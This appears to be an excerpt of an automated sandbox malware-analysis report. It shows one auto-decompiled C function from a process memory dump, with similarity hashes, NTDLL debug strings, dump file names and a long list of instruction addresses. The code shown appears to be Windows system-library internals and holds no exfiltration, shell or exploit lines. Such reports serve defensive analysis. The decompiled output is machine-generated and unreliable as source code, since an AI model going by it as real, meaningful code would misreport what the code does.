Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 01abe7e1e67743ef1a9e9aca1b3b3f1ee65e2caac9d07d892454e7f267fd8f39
Instruction ID: c5c7b6a666c7e7bd68572340d82b0eb13285ad19bbead683ea65c71c4dde97a1
Opcode Fuzzy Hash: 01abe7e1e67743ef1a9e9aca1b3b3f1ee65e2caac9d07d892454e7f267fd8f39
Instruction Fuzzy Hash: 7411AD71E04349DBEF24DFA489457ECBBB4FB04316F20469DD5296B292D3342602CF14

Uniqueness

Uniqueness Score: -1.00%

Function 04BAFF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 04BAFF60

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 7a64f7442aafa0bfa5d0a6afc3898ad2a64e44b087ec3bb8231ca006072f9a96
Instruction ID: 42bcb67ee4f569e576d19af0c854f1e91e2566bccc7e2ea80f9b0d3f3f5e484b
Opcode Fuzzy Hash: 7a64f7442aafa0bfa5d0a6afc3898ad2a64e44b087ec3bb8231ca006072f9a96
Instruction Fuzzy Hash: DF11E175A11144EFEF26EB50C848FE877B1FB08708F1580C4E109671A1C779B950DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04BE5BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E04BE5BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x4bf1178);
				E04B6D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E04BE4C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E04B5D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E04BE5542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x4c060e8;
								if( *0x4c060e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x4c060e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E04B59710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E04B56DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E04B5F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E04B5F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E04B5F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E04B5FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E04B5FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E04B5F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E04B5F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E04BE4CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E04B6D130(_t427, _t494, _t511);
				}
			}

0x04be5ba5
0x04be5baa
0x04be5baf
0x04be5bb4
0x04be5bb6
0x04be5bbc
0x04be5bbe
0x04be5bc4
0x04be5bcd
0x04be5bd3
0x04be5bd6
0x04be5bdc
0x04be5be0
0x04be5be3
0x04be5beb
0x04be5bf2
0x04be5bf8
0x04be5bfe
0x04be5c04
0x04be5c0e
0x04be5c18
0x04be5c1f
0x04be5c25
0x04be5c2a
0x04be5c2c
0x04be5c32
0x04be5c3a
0x04be5c3f
0x04be5c42
0x04be5c48
0x04be5c5b
0x04be5c5b
0x04be5c2c
0x04be5cb7
0x04be5cb9
0x04be5cbf
0x04be5cc2
0x04be5cca
0x04be5ccb
0x04be5ccb
0x04be5cd1
0x04be5cd7
0x04be5cda
0x04be5ce1
0x04be5ce4
0x04be5ce7
0x04be5ced
0x04be5cf3
0x04be5cf9
0x04be5cff
0x04be5d08
0x04be5d0a
0x04be5d0e
0x04be5d10
0x00000000
0x00000000
0x04be5d16
0x04be5d1a
0x00000000
0x00000000
0x04be5d20
0x04be5d22
0x04be5d25
0x04be5d2f
0x04be5d2f
0x04be5d33
0x04be5d3d
0x04be5d49
0x04be5d4b
0x00000000
0x00000000
0x04be5d5a
0x04be5d5d
0x04be5d60
0x00000000
0x00000000
0x04be5d66
0x04be5d69
0x00000000
0x00000000
0x04be5d6f
0x04be5d6f
0x04be5d73
0x04be5d79
0x04be5d7f
0x04be5d86
0x04be5d95
0x04be5d98
0x04be5dba
0x04be5dcb
0x04be5dce
0x04be5dd3
0x04be5dd6
0x04be5dd8
0x04be5de6
0x04be5dec
0x04be5dee
0x04be5df1
0x04be5df3
0x04be635a
0x04be635a
0x00000000
0x04be635a
0x04be5dfe
0x04be5e02
0x04be5e05
0x04be5e07
0x04be5e10
0x04be5e13
0x04be5e1b
0x04be5e1c
0x04be5e21
0x04be5e22
0x04be5e23
0x04be5e25
0x04be5e2a
0x04be5e2c
0x04be5e2e
0x04be5e36
0x04be5e39
0x04be5e42
0x04be5e47
0x04be5e4d
0x04be5e54
0x04be5e54
0x04be5e54
0x04be5e2e
0x04be5e5c
0x04be5e5f
0x04be5e62
0x04be5e64
0x04be5e6b
0x04be5e70
0x04be5e7a
0x04be5e7a
0x04be5e7a
0x04be5e6b
0x04be5e7e
0x04be5e7f
0x04be5e7f
0x04be5e81
0x04be5e87
0x04be5e8b
0x04be5e8c
0x04be5e8c
0x04be5e8c
0x04be5e9a
0x04be5e9c
0x04be5ea2
0x04be5ea6
0x04be5f50
0x04be5f50
0x04be5f57
0x04be5f66
0x04be5f66
0x04be5f66
0x04be5f68
0x04be5f6a
0x04be63d0
0x00000000
0x04be5f70
0x04be5f70
0x04be5f91
0x04be5f9c
0x04be5f9e
0x04be5fa4
0x04be5fa6
0x04be638c
0x04be6392
0x04be63a1
0x04be63a7
0x04be63af
0x04be63af
0x04be63bd
0x04be63d8
0x00000000
0x04be63d8
0x04be5fac
0x04be5fb2
0x04be5fb4
0x04be5fbd
0x04be5fc6
0x04be5fce
0x04be5fd4
0x04be5fdc
0x04be5fec
0x04be5fed
0x04be5fee
0x04be5fef
0x04be5ff9
0x04be5ffa
0x04be5ffb
0x04be5ffc
0x04be6000
0x04be6004
0x04be6012
0x04be6012
0x04be6018
0x04be6019
0x04be601a
0x04be601b
0x04be601c
0x04be6020
0x04be6059
0x04be605c
0x04be6061
0x04be6061
0x04be6022
0x04be6022
0x04be6022
0x04be6025
0x04be602a
0x04be602b
0x04be6031
0x04be6037
0x04be6038
0x04be603e
0x04be6048
0x04be6049
0x04be604a
0x04be604b
0x04be604c
0x04be604d
0x04be6053
0x04be6054
0x04be6054
0x04be6062
0x04be6065
0x04be6067
0x04be606a
0x04be6070
0x04be6075
0x04be6076
0x04be6081
0x04be6087
0x04be6095
0x04be6099
0x04be609e
0x04be60a4
0x04be60ae
0x04be60b0
0x04be60b3
0x04be60b6
0x04be60b8
0x04be60ba
0x04be60ba
0x04be60ba
0x04be60ba
0x04be60be
0x04be60c0
0x04be60c5
0x04be60c5
0x04be60c5
0x04be60c6
0x04be60cd
0x04be6114
0x04be60cf
0x04be60cf
0x04be60d4
0x04be60d5
0x04be60da
0x04be60db
0x04be60e1
0x04be60e2
0x04be60e8
0x04be60f8
0x04be60fd
0x04be60fe
0x04be6102
0x04be6104
0x04be6107
0x04be6109
0x04be610b
0x04be610b
0x04be610b
0x04be610b
0x04be610f
0x04be610f
0x04be6117
0x04be611a
0x04be611f
0x04be6125
0x04be6134
0x04be6139
0x04be613f
0x04be6146
0x04be6148
0x04be614b
0x04be614d
0x04be614f
0x04be614f
0x04be614f
0x04be614f
0x04be6153
0x04be6159
0x04be6159
0x04be615c
0x04be6163
0x04be6169
0x04be616c
0x04be6172
0x04be6181
0x04be6186
0x04be6187
0x04be618b
0x04be6191
0x04be6195
0x04be61a3
0x04be61bb
0x04be61c0
0x04be61c3
0x04be61cc
0x04be61d0
0x04be61dc
0x04be61de
0x04be61e1
0x04be61e4
0x04be61e6
0x04be61e8
0x04be61e8
0x04be61e8
0x04be61e8
0x04be61e6
0x04be61ec
0x04be61f3
0x04be6203
0x04be6209
0x04be620a
0x04be6216
0x04be621d
0x04be6227
0x04be6241
0x04be6246
0x04be624c
0x04be6257
0x04be6259
0x04be625c
0x04be625e
0x04be6260
0x04be6260
0x04be6260
0x04be6260
0x04be625e
0x04be6264
0x04be6267
0x04be6269
0x04be6315
0x04be6315
0x04be631b
0x04be631e
0x04be6324
0x04be6327
0x04be632f
0x04be6330
0x04be6333
0x04be633a
0x04be633c
0x04be6335
0x04be6335
0x04be6335
0x04be633f
0x04be6342
0x04be634c
0x04be6352
0x04be6355
0x04be6355
0x04be6359
0x00000000
0x04be626f
0x04be6275
0x04be6275
0x04be6278
0x04be627e
0x04be627e
0x04be6281
0x04be6287
0x04be628d
0x04be6298
0x04be629c
0x04be62a2
0x04be629e
0x04be629e
0x04be629e
0x04be62a7
0x04be62a7
0x04be62aa
0x04be62b0
0x04be62f0
0x04be62f0
0x04be62f2
0x04be62f8
0x04be62fd
0x04be62b2
0x04be62b2
0x04be62b2
0x04be62b5
0x04be62dd
0x04be62e2
0x04be62e5
0x04be62b7
0x04be62b8
0x04be62bb
0x04be62bd
0x04be62c0
0x04be62c4
0x04be62cd
0x04be62cd
0x04be62c0
0x04be62bb
0x04be62b5
0x04be6302
0x04be6303
0x04be6305
0x04be6305
0x04be6305
0x04be630c
0x04be630c
0x00000000
0x04be627e
0x04be6269
0x04be5eac
0x04be5ebb
0x04be5ebe
0x04be5ecb
0x04be5ecb
0x04be5ece
0x04be5ece
0x04be5ed4
0x04be5ed7
0x04be5ed9
0x04be5edb
0x04be5edb
0x04be5ee1
0x04be5ee1
0x04be5ee3
0x04be5f20
0x04be5f20
0x04be5ee5
0x04be5ee5
0x04be5ee5
0x04be5ee8
0x04be5f11
0x04be5f18
0x04be5eea
0x04be5eea
0x04be5eed
0x04be5ef2
0x04be5ef8
0x04be5efb
0x04be5f0a
0x04be5f0a
0x04be5eed
0x04be5ee8
0x04be5f22
0x04be5f28
0x00000000
0x00000000
0x04be5f30
0x04be5f31
0x04be5f37
0x04be5f3a
0x04be5f3d
0x04be5f44
0x00000000
0x00000000
0x00000000
0x04be5f46
0x04be5f48
0x04be5f4d
0x00000000
0x04be5f4d
0x04be5dda
0x04be5ddf
0x00000000
0x04be5ddf
0x04be5dd8
0x04be5da7
0x04be5da9
0x04be5dac
0x04be5dae
0x00000000
0x04be5db4
0x04be5db4
0x00000000
0x04be5db4
0x04be5dae
0x04be5d88
0x04be5d8d
0x04be6363
0x04be6369
0x04be636a
0x04be6370
0x04be6372
0x04be637a
0x04be637b
0x04be637d
0x00000000
0x00000000
0x04be637f
0x04be6385
0x00000000
0x04be6385
0x04be5d38
0x04be5d3b
0x00000000
0x00000000
0x00000000
0x04be5d3b
0x04be5d27
0x04be5d29
0x00000000
0x00000000
0x00000000
0x04be6360
0x00000000
0x04be6360
0x04be5c10
0x04be5c10
0x04be63da
0x04be63e5
0x04be63e5

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
